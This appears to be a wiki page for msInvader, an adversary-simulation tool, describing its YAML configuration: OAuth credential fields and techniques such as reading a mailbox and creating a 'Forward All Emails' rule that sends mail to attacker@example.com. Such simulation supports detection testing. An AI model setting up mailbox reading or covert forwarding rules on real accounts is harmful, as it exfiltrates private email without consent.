-
Notifications
You must be signed in to change notification settings - Fork 7
msInvader Configuration File
The YAML configuration file is crucial for customizing and running simulations with msInvader.
The YAML configuration file for msInvader consists of two main sections: authentication
and techniques
. Here's an overview of the file structure:
authentication:
# Authentication details go here
techniques:
# Techniques and their parameters are defined here
This section details the authentication method msInvader will use to interact with M365 and Azure environments. It supports different OAuth flows tailored to various simulation needs.
Depending on the auth_method
defined on the techniques section, certain fields may be required:
-
tenant_id: The unique identifier of the Azure or O365 tenant that the application is registering with. Required for all authentication flows.
-
client_id: The application (client) ID that's assigned to your app by Azure when the app is registered. It uniquely identifies the application within the Azure AD tenant. Required for the Client Credentials flow.
-
client_secret: A secret string that the application uses to prove its identity when requesting a token. Also referred to as application password. Required for the Client Credentials flow.
-
username: The username of the user you want to authenticate as. This is typically an email address. Required for Resource Owner Password Credentials flow.
-
password: The password of the user you want to authenticate as. Required for Resource Owner Password Credentials flow.
authentication:
tenant_id: "your-tenant-id"
client_id: "your-client-id"
client_secret: "your-client-secret"
authentication:
tenant_id: "your-tenant-id"
username: "victim@constoso.com"
password: "password"
In this section, users can list the adversary techniques they want msInvader to simulate. Each technique is configured with specific parameters that define how the simulation will be executed.
- technique: Name of the technique to simulate.
-
enabled: Boolean (
True
orFalse
) indicating if the technique should be simulated. -
parameters: Nested key-value pairs that provide specific instructions for the technique simulation, such as the
method
to use,mailbox
to target, etc.-
auth_method: Defines the OAuth flow for authentication. Options include:
-
resource_owner
for Resource Owner Password Credentials (ROPC) flow. Note: This flow does not work for accounts with Multi-Factor Authentication (MFA) enabled. -
device_code
for Device Code flow. -
client_credentials
for Client Credentials flow.
-
-
access_method: Defines how msInvader interacts with Exchange Online, specifying the API used for communication.
-
graph
: Utilizes the Microsoft Graph API, offering comprehensive capabilities across Microsoft 365 services. -
ews
: Employs Exchange Web Services, facilitating traditional email operations within Exchange Online. -
rest
: Leverages RESTful APIs, including those used by the Exchange Online PowerShell module, for various administrative tasks.
-
-
auth_method: Defines the OAuth flow for authentication. Options include:
techniques:
technique: "read_email"
enabled: True
parameters:
auth_method: "client_credentials"
access_method: "graph"
mailbox: "user@example.com"
limit: 10
technique: "create_rule"
enabled: False
parameters:
auth_method: "resource_owner"
access_method: "ews"
mailbox: "user@example.com"
rule_name: "Forward All Emails"
forward_to: "attacker@example.com"
-
Define Authentication: Start by setting up the
authentication
section to ensure msInvader can authenticate with the necessary services. -
Select Techniques: Activate the techniques you wish to simulate by setting
enabled
toTrue
and filling out their respective parameters. - Customize Parameters: Adjust each technique's parameters to tailor the simulation to your specific needs and scenarios.